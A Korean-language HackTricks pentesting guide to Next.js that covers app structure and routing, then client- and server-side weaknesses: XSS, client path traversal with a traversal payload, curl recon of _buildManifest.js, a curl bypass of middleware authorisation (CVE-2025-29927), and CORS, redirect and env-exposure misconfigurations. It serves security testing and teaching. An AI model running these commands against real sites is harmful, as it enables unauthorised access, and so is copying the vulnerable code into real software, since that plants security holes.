NextJS

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Next.js 애플리케이션의 일반적인 아키텍처

전형적인 파일 구조

표준 Next.js 프로젝트는 라우팅, API 엔드포인트, 정적 자산 관리와 같은 기능을 지원하기 위해 특정 파일 및 디렉터리 구조를 따릅니다. 다음은 전형적인 레이아웃입니다:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

핵심 디렉토리 및 파일

  • public/: 이미지, 폰트 등 정적 자산을 호스팅합니다. 이 폴더의 파일들은 루트 경로(/)에서 접근 가능합니다.
  • app/: 애플리케이션의 페이지, 레이아웃, components, API 라우트를 담는 중앙 디렉토리입니다. App Router 패러다임을 채택하여 고급 라우팅 기능과 server-client component 분리를 지원합니다.
  • app/layout.tsx: 애플리케이션의 루트 레이아웃을 정의하며, 모든 페이지를 감싸서 헤더, 푸터, 내비게이션 바 같은 일관된 UI 요소를 제공합니다.
  • app/page.tsx: 루트 라우트(/)의 진입점 역할을 하며 홈 페이지를 렌더링합니다.
  • app/[route]/page.tsx: 정적 및 동적 라우트를 처리합니다. app/ 내의 각 폴더는 라우트 세그먼트를 나타내며, 해당 폴더의 page.tsx가 그 라우트의 컴포넌트에 해당합니다.
  • app/api/: API 라우트를 포함하며 HTTP 요청을 처리하는 서버리스 함수를 생성할 수 있습니다. 이 디렉토리는 기존의 pages/api 디렉토리를 대체합니다.
  • app/components/: 여러 페이지와 레이아웃에서 재사용 가능한 React 컴포넌트를 보관합니다.
  • app/styles/: 전역 CSS 파일과 컴포넌트 범위 스타일을 위한 CSS Modules를 포함합니다.
  • app/utils/: 유틸리티 함수, 헬퍼 모듈 및 UI가 아닌 로직을 공유하기 위한 파일들을 포함합니다.
  • .env.local: 로컬 개발 환경에 특화된 환경 변수를 저장합니다. 이 변수들은 버전 관리에 커밋되지 않습니다.
  • next.config.js: webpack 설정, 환경 변수, 보안 설정 등 Next.js 동작을 커스터마이즈합니다.
  • tsconfig.json: 프로젝트의 TypeScript 설정을 구성하여 타입 검사 및 기타 TypeScript 기능을 활성화합니다.
  • package.json: 프로젝트의 의존성, 스크립트, 메타데이터를 관리합니다.
  • README.md: 프로젝트의 설정 방법, 사용 지침 등 문서와 정보를 제공합니다.
  • yarn.lock / package-lock.json: 프로젝트 의존성을 특정 버전으로 고정하여 다양한 환경에서 일관된 설치를 보장합니다.

Client-Side in Next.js

File-Based Routing in the app Directory

app 디렉토리는 최신 Next.js 버전에서 라우팅의 핵심입니다. 파일 시스템을 이용해 라우트를 정의하므로 라우트 관리를 직관적이고 확장 가능하게 만듭니다.

루트 경로 / 처리

File Structure:

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

Key Files:

  • app/page.tsx: 루트 경로 /에 대한 요청을 처리합니다.
  • app/layout.tsx: 애플리케이션의 레이아웃을 정의하며 모든 페이지를 감쌉니다.

Implementation:

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

설명:

  • 라우트 정의: page.tsx 파일은 app 디렉터리 바로 아래에 있으며 / 라우트에 해당합니다.
  • 렌더링: 이 컴포넌트는 홈 페이지의 콘텐츠를 렌더링합니다.
  • 레이아웃 통합: HomePage 컴포넌트는 layout.tsx에 의해 래핑되며, 헤더, 푸터 및 기타 공통 요소를 포함할 수 있습니다.
다른 정적 경로 처리

예: /about 라우트

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

설명:

  • 라우트 정의: page.tsx 파일은 about 폴더 내부에 있으며 /about 라우트에 대응합니다.
  • 렌더링: 이 컴포넌트는 about 페이지의 콘텐츠를 렌더링합니다.
동적 라우트

동적 라우트는 가변 세그먼트를 포함하는 경로를 처리할 수 있게 해, ID나 slug 같은 매개변수에 따라 애플리케이션이 콘텐츠를 표시하도록 합니다.

예시: /posts/[id] 라우트

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

설명:

  • 동적 세그먼트: [id]는 라우트에서 동적 세그먼트를 나타내며, URL에서 id 파라미터를 캡처합니다.
  • 파라미터 접근: params 객체는 동적 파라미터를 포함하며, 컴포넌트 내에서 접근할 수 있습니다.
  • 라우트 매칭: /posts/*와 매칭되는 모든 경로(예: /posts/1, /posts/abc 등)는 이 컴포넌트에 의해 처리됩니다.
중첩 라우트

Next.js는 디렉터리 구조를 반영하는 계층적 라우트 구조를 허용하는 중첩 라우팅을 지원합니다.

예시: /dashboard/settings/profile Route

파일 구조:

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

설명:

  • 깊은 중첩: dashboard/settings/profile/ 내부의 page.tsx 파일은 /dashboard/settings/profile 경로에 대응합니다.
  • 계층 구조 반영: 디렉터리 구조는 URL 경로를 반영하여 유지보수성과 명확성을 향상시킵니다.
Catch-All 라우트

Catch-All 라우트는 여러 중첩 세그먼트나 알려지지 않은 경로를 처리하여 라우트 처리에 유연성을 제공합니다.

예시: /* 라우트

파일 구조:

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

구현:

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

설명:

  • Catch-All Segment: [...slug]는 나머지 모든 경로 세그먼트를 배열로 캡처합니다.
  • Usage: 동적 라우팅 시나리오(예: 사용자 생성 경로, 중첩 카테고리 등)를 처리할 때 유용합니다.
  • Route Matching: /anything/here, /foo/bar/baz 같은 경로들이 이 컴포넌트에 의해 처리됩니다.

잠재적인 클라이언트 측 취약점

Next.js가 안전한 기반을 제공하지만, 부적절한 코딩 관행은 취약점을 초래할 수 있습니다. 주요 클라이언트 측 취약점은 다음과 같습니다:

Cross-Site Scripting (XSS)

XSS 공격은 악성 스크립트가 신뢰된 웹사이트에 주입될 때 발생합니다. 공격자는 사용자의 브라우저에서 스크립트를 실행해 데이터를 탈취하거나 사용자를 대신해 작업을 수행할 수 있습니다.

취약한 코드 예시:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

취약한 이유: dangerouslySetInnerHTML을 신뢰할 수 없는 입력과 함께 사용하면 공격자가 악성 스크립트를 주입할 수 있습니다.

Client-Side Template Injection

사용자 입력이 템플릿에서 적절히 처리되지 않을 때 발생하며, 공격자가 템플릿이나 표현식을 주입하고 실행할 수 있게 합니다.

취약한 코드 예시:

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

취약한 이유: template 또는 data에 악의적인 내용이 포함된 경우 의도치 않은 코드 실행으로 이어질 수 있습니다.

Client Path Traversal

이는 공격자가 클라이언트 측 경로를 조작해 의도하지 않은 동작을 수행하도록 허용하는 취약점이며, 예로는 Cross-Site Request Forgery (CSRF)가 있습니다. 서버의 파일시스템을 겨냥하는 server-side path traversal과 달리, CSPT는 클라이언트 측 메커니즘을 악용해 합법적인 API 요청을 악의적 엔드포인트로 재우회하는 데 초점을 맞춥니다.

취약한 코드 예시:

Next.js 애플리케이션이 사용자에게 파일 업로드 및 다운로드 기능을 제공합니다. 다운로드 기능은 클라이언트 측에 구현되어 있으며, 사용자가 다운로드할 파일 경로를 지정할 수 있습니다.

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

공격 시나리오

  1. 공격자의 목표: CSRF 공격을 수행하여 filePath를 조작해 중요한 파일(예: admin/config.json)을 삭제.
  2. CSPT 악용:
  • 악의적 입력: 공격자는 ../deleteFile/config.json 같은 조작된 filePath를 포함한 URL을 만든다.
  • 결과 API 호출: 클라이언트 측 코드가 /api/files/../deleteFile/config.json로 요청을 보낸다.
  • 서버 처리: 서버가 filePath를 검증하지 않으면 요청을 처리하여 민감한 파일을 삭제하거나 노출할 수 있다.
  1. CSRF 실행:
  • 조작된 링크: 공격자는 피해자에게 링크를 전송하거나 조작된 filePath로 다운로드 요청을 트리거하는 악성 스크립트를 삽입한다.
  • 결과: 피해자가 무의식적으로 동작을 실행해 비인가 파일 접근 또는 삭제로 이어짐.

Recon: _buildManifest를 통한 static export 경로 탐색

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

  • 루트 응답(종종 하단에 표시됨) 또는 <script> 태그에서 로드되는 /_next/static/<buildId>/...로부터 buildId를 가져온다.
  • manifest를 가져와 경로를 추출한다:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
  • 발견된 경로(예: /docs, /docs/content/examples, /signin)를 사용하여 auth testing 및 endpoint discovery를 진행하세요.

Next.js에서의 서버 사이드

서버 사이드 렌더링 (SSR)

페이지는 각 요청마다 서버에서 렌더링되어 사용자가 완전히 렌더링된 HTML을 받도록 보장합니다. 이 경우 요청을 처리하기 위해 자체 커스텀 서버를 만들어야 합니다.

사용 사례:

  • 자주 변경되는 동적 콘텐츠.
  • 검색 엔진이 완전히 렌더링된 페이지를 크롤링할 수 있으므로 SEO 최적화에 유리합니다.

구현:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

정적 사이트 생성 (SSG)

페이지는 빌드 시점에 미리 렌더링되어 로드 시간이 빨라지고 서버 부하가 감소합니다.

사용 사례:

  • 자주 변경되지 않는 콘텐츠.
  • 블로그, 문서, 마케팅 페이지.

구현:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

서버리스 함수 (API Routes)

Next.js는 API 엔드포인트를 서버리스 함수로 생성할 수 있게 합니다. 이러한 함수들은 전용 서버가 필요 없이 온디맨드로 실행됩니다.

사용 사례:

  • 폼 제출 처리.
  • 데이터베이스와의 상호작용.
  • 데이터 처리 또는 서드파티 API 통합.

구현:

Next.js 13의 app 디렉토리 도입으로 라우팅과 API 처리 방식이 더 유연하고 강력해졌습니다. 이 최신 접근법은 파일 기반 라우팅 시스템과 밀접하게 연계되면서도 서버 및 클라이언트 컴포넌트 지원을 포함한 향상된 기능을 제공합니다.

기본 라우트 핸들러

파일 구조:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

구현:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

설명:

  • 위치: API routes는 app/api/ 디렉터리에 배치됩니다.
  • 파일명 규칙: 각 API endpoint는 route.js 또는 route.ts 파일을 포함한 개별 폴더에 위치합니다.
  • 내보내는 함수: 하나의 default export 대신 특정 HTTP 메서드 함수(예: GET, POST)를 export합니다.
  • 응답 처리: Response 생성자를 사용해 응답을 반환하면 헤더와 상태 코드를 더 세밀하게 제어할 수 있습니다.

다른 경로와 메서드 처리 방법:

특정 HTTP 메서드 처리

Next.js 13+에서는 동일한 route.js 또는 route.ts 파일 내에서 특정 HTTP 메서드에 대한 핸들러를 정의할 수 있어 코드가 더 명확하고 체계적이게 됩니다.

예시:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

설명:

  • Multiple Exports: 각 HTTP 메서드 (GET, PUT, DELETE)는 자체적으로 export된 함수를 가집니다.
  • Parameters: 두 번째 인수는 params를 통해 라우트 매개변수에 접근할 수 있습니다.
  • Enhanced Responses: 응답 객체에 대한 더 높은 제어가 가능해져 헤더 및 상태 코드 관리를 정확하게 할 수 있습니다.
Catch-All 및 중첩 라우트

Next.js 13+는 catch-all 라우트 및 중첩 API 라우트와 같은 고급 라우팅 기능을 지원하여 더 동적이고 확장 가능한 API 구조를 만들 수 있습니다.

Catch-All 라우트 예시:

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

설명:

  • 구문: [...]는 모든 중첩 경로를 캡처하는 catch-all 세그먼트를 나타냅니다.
  • 사용: 다양한 경로 깊이나 동적 세그먼트를 처리해야 하는 API에 유용합니다.

중첩 라우트 예시:

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

설명:

  • 깊은 중첩: 자원 관계를 반영하는 계층적 API 구조를 허용합니다.
  • 파라미터 접근: params 객체를 통해 여러 라우트 파라미터에 쉽게 접근할 수 있습니다.
Next.js 12 이전에서의 API 라우트 처리

pages 디렉터리의 API 라우트 (Next.js 12 및 이전)

Next.js 13이 app 디렉터리와 향상된 라우팅 기능을 도입하기 전에는, API 라우트는 주로 pages 디렉터리 내에서 정의되었습니다. 이 방식은 Next.js 12 및 이전 버전에서 여전히 널리 사용되고 지원됩니다.

기본 API 라우트

파일 구조:

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

구현:

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

설명:

  • 위치: API 라우트는 pages/api/ 디렉터리 아래에 있습니다.
  • 내보내기: export default를 사용하여 핸들러 함수를 정의합니다.
  • 함수 시그니처: 핸들러는 req (HTTP 요청) 및 res (HTTP 응답) 객체를 받습니다.
  • 라우팅: 파일 이름 (hello.js)은 엔드포인트 /api/hello에 매핑됩니다.

동적 API 라우트

파일 구조:

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

구현:

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

설명:

  • 동적 세그먼트: 대괄호 ([id].js)는 동적 라우트 세그먼트를 나타냅니다.
  • 매개변수 접근: 동적 매개변수에 접근하려면 req.query.id를 사용하세요.
  • 메서드 처리: 조건문을 사용하여 서로 다른 HTTP 메서드(GET, PUT, DELETE, 등)를 처리하세요.

서로 다른 HTTP 메서드 처리

기본 API 라우트 예제는 단일 함수 내에서 모든 HTTP 메서드를 처리하지만, 가독성과 유지보수성을 위해 각 메서드를 명시적으로 처리하도록 코드를 구조화할 수 있습니다.

예시:

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

모범 사례:

  • Separation of Concerns: 다른 HTTP 메서드에 대한 로직을 명확히 분리하세요.
  • Response Consistency: 클라이언트 측 처리를 쉽게 하기 위해 일관된 응답 구조를 유지하세요.
  • Error Handling: 지원되지 않는 메서드와 예기치 않은 오류를 우아하게 처리하세요.

CORS 구성

어떤 출처가 API 경로에 접근할 수 있는지 제어하여 Cross-Origin Resource Sharing (CORS) 취약점을 완화하세요.

잘못된 구성 예시:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

참고로 CORS는 모든 API routes에서도 구성할 수 있습니다middleware.ts 파일 안에서:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

문제:

  • Access-Control-Allow-Origin: '*': 모든 웹사이트가 API에 접근할 수 있도록 허용하여, 악의적인 사이트가 제한 없이 API와 상호작용할 가능성을 만듭니다.
  • 광범위한 메서드 허용: 모든 메서드를 허용하면 공격자가 원치 않는 동작을 수행할 수 있습니다.

공격자가 이를 악용하는 방법:

공격자는 악의적인 웹사이트를 만들어 API에 요청을 보내고, 데이터 조회, 데이터 조작 또는 인증된 사용자 대신 원치 않는 동작을 유발하는 등의 기능을 악용할 수 있습니다.

CORS - Misconfigurations & Bypass

Server code exposure in Client Side

서버에서 사용하는 코드를 클라이언트 측에 노출된 코드에서도 쉽게 사용할 수 있습니다. 특정 코드 파일이 클라이언트 측에 절대 노출되지 않도록 보장하는 가장 좋은 방법은 파일 맨 앞에 다음 import를 사용하는 것입니다:

import "server-only"

주요 파일과 그 역할

middleware.ts / middleware.js

위치: 프로젝트의 루트 또는 src/ 내.

목적: 요청이 처리되기 전에 서버 측 serverless 함수에서 코드를 실행하여 인증, 리디렉션 또는 응답 수정과 같은 작업을 수행할 수 있도록 합니다.

실행 흐름:

  1. 수신 요청: 미들웨어가 요청을 가로챕니다.
  2. 처리: 요청에 따라 작업을 수행합니다(예: 인증 확인).
  3. 응답 수정: 응답을 변경하거나 다음 핸들러에 제어를 넘길 수 있습니다.

예시 사용 사례:

  • 인증되지 않은 사용자를 리디렉션.
  • 사용자 정의 헤더 추가.
  • 요청 로깅.

샘플 구성:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

middleware에서 authorization이 적용된 경우, 영향을 받는 Next.js 릴리스 (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3)는 x-middleware-subrequest 헤더를 주입하여 bypass할 수 있습니다. 프레임워크는 middleware recursion을 건너뛰고 보호된 페이지를 반환합니다.

  • 기본 동작은 일반적으로 /api/auth/signin 같은 로그인 경로로의 307 redirect입니다.
  • x-middleware-subrequest 값을 전송( middleware를 반복해 MAX_RECURSION_DEPTH에 도달)하면 응답 상태를 200으로 바꿀 수 있습니다:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
  • 인증된 페이지가 많은 하위 리소스를 불러오기 때문에, 자산이 리디렉션되는 것을 방지하려면 모든 요청에 헤더를 추가하세요(예: Burp Match/Replace에서 빈 match 문자열 사용).

next.config.js

Location: 프로젝트 루트.

Purpose: Next.js 동작을 구성하며, 기능 활성/비활성화, webpack 구성 커스터마이징, 환경 변수 설정 및 여러 보안 기능을 구성합니다.

Key Security Configurations:

보안 헤더

보안 헤더는 브라우저가 콘텐츠를 처리하는 방식을 지시하여 애플리케이션의 보안을 강화합니다. 이는 Cross-Site Scripting (XSS), Clickjacking, MIME type sniffing과 같은 다양한 공격을 완화하는 데 도움을 줍니다:

  • Content Security Policy (CSP)
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Referrer Policy

예시:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
이미지 최적화 설정

Next.js는 성능을 위해 이미지를 최적화하지만, 잘못된 구성은 신뢰할 수 없는 소스가 악성 콘텐츠를 주입하도록 허용하는 등 보안 취약점으로 이어질 수 있습니다.

잘못된 구성 예시:

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

문제:

  • '*': 외부의 모든 출처에서 이미지를 로드할 수 있도록 허용합니다(신뢰할 수 없거나 악의적인 도메인 포함). 공격자는 악성 페이로드를 포함한 이미지나 사용자를 오도하는 콘텐츠를 호스팅할 수 있습니다.
  • 또 다른 문제는 모두가 이미지를 업로드할 수 있는 도메인(예: raw.githubusercontent.com)을 허용하는 것입니다.
환경 변수 노출

클라이언트에 노출하지 않도록 API keys 및 database credentials 같은 민감한 정보를 안전하게 관리하세요.

a. 민감한 변수 노출

잘못된 구성 예시:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

문제:

  • SECRET_API_KEY: NEXT_PUBLIC_ 접두사가 없으면 Next.js는 변수를 클라이언트에 노출하지 않습니다. 하지만 실수로 접두사를 붙이면(예: NEXT_PUBLIC_SECRET_API_KEY) 클라이언트 측에서 접근할 수 있게 됩니다.

공격자가 악용하는 방법:

민감한 변수가 클라이언트에 노출되면, 공격자는 클라이언트 측 코드나 네트워크 요청을 조사해 이를 획득하고 API, 데이터베이스 또는 기타 서비스에 무단으로 접근할 수 있습니다.

Redirects

애플리케이션 내에서 URL redirections 및 rewrites를 관리하여 사용자가 적절히 이동하도록 하되 open redirect vulnerabilities를 유발하지 않도록 하세요.

a. Open Redirect Vulnerability

잘못된 구성 예시:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

문제:

  • 동적 목적지: 사용자가 임의의 URL을 지정할 수 있게 하여 open redirect attacks를 가능하게 합니다.
  • 사용자 입력 신뢰: 검증 없이 사용자가 제공한 URL로 리디렉션하면 phishing, malware distribution, 또는 credential theft로 이어질 수 있습니다.

공격자가 이를 악용하는 방법:

공격자는 도메인에서 시작한 것처럼 보이지만 사용자를 악성 사이트로 리디렉션하는 URL을 생성할 수 있습니다. 예를 들면:

https://yourdomain.com/redirect?url=https://malicious-site.com

원래 도메인을 신뢰하는 사용자가 의도치 않게 악성 웹사이트로 이동할 수 있습니다.

Webpack 구성

Next.js 애플리케이션의 Webpack 구성을 사용자화하면, 주의하지 않으면 의도치 않게 보안 취약점이 도입될 수 있습니다.

a. 민감한 모듈 노출

잘못된 구성 예:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

문제:

  • 노출된 민감한 경로: 민감한 디렉터리를 alias 처리하고 클라이언트 측 접근을 허용하면 기밀 정보가 leak될 수 있습니다.
  • 비밀 번들링: 민감한 파일이 클라이언트용으로 번들링되면, 그 내용은 source maps를 통해 또는 클라이언트 측 코드를 검사하여 접근 가능해집니다.

공격자가 이를 악용하는 방법:

공격자는 애플리케이션의 디렉터리 구조에 접근하거나 이를 재구성하여 민감한 파일이나 데이터를 찾아 악용할 수 있습니다.

pages/_app.js and pages/_document.js

pages/_app.js

목적: 기본 App 컴포넌트를 오버라이드하여 전역 상태, 스타일 및 레이아웃 컴포넌트를 사용할 수 있게 합니다.

사용 사례:

  • 전역 CSS 주입.
  • 레이아웃 래퍼 추가.
  • 상태 관리 라이브러리 통합.

예시:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

목적: 기본 Document를 오버라이드하여 <html><body> 태그를 커스터마이징할 수 있게 합니다.

사용 사례:

  • <html> 또는 <body> 태그 수정.
  • 메타 태그 또는 커스텀 스크립트 추가.
  • 타사 폰트 통합.

예시:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

커스텀 서버 (선택 사항)

목적: Next.js는 내장 서버를 제공하지만, 맞춤 라우팅이나 기존 백엔드 서비스와의 통합과 같은 고급 사용 사례를 위해 커스텀 서버를 만들 수 있습니다.

참고: 커스텀 서버를 사용하면 배포 옵션이 제한될 수 있으며, 특히 Next.js의 내장 서버에 최적화된 Vercel과 같은 플랫폼에서는 제약이 발생합니다.

예시:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

추가 아키텍처 및 보안 고려사항

환경 변수 및 구성

목적: 민감한 정보와 구성 설정을 코드베이스 외부에서 관리합니다.

모범 사례:

  • .env 파일 사용: API 키 같은 변수는 .env.local에 저장하세요 (버전 관리에서 제외).
  • 변수에 안전하게 접근: process.env.VARIABLE_NAME를 사용해 환경 변수를 불러옵니다.
  • 클라이언트에 비밀을 노출하지 마세요: 민감한 변수는 서버 측에서만 사용되도록 하세요.

예시:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

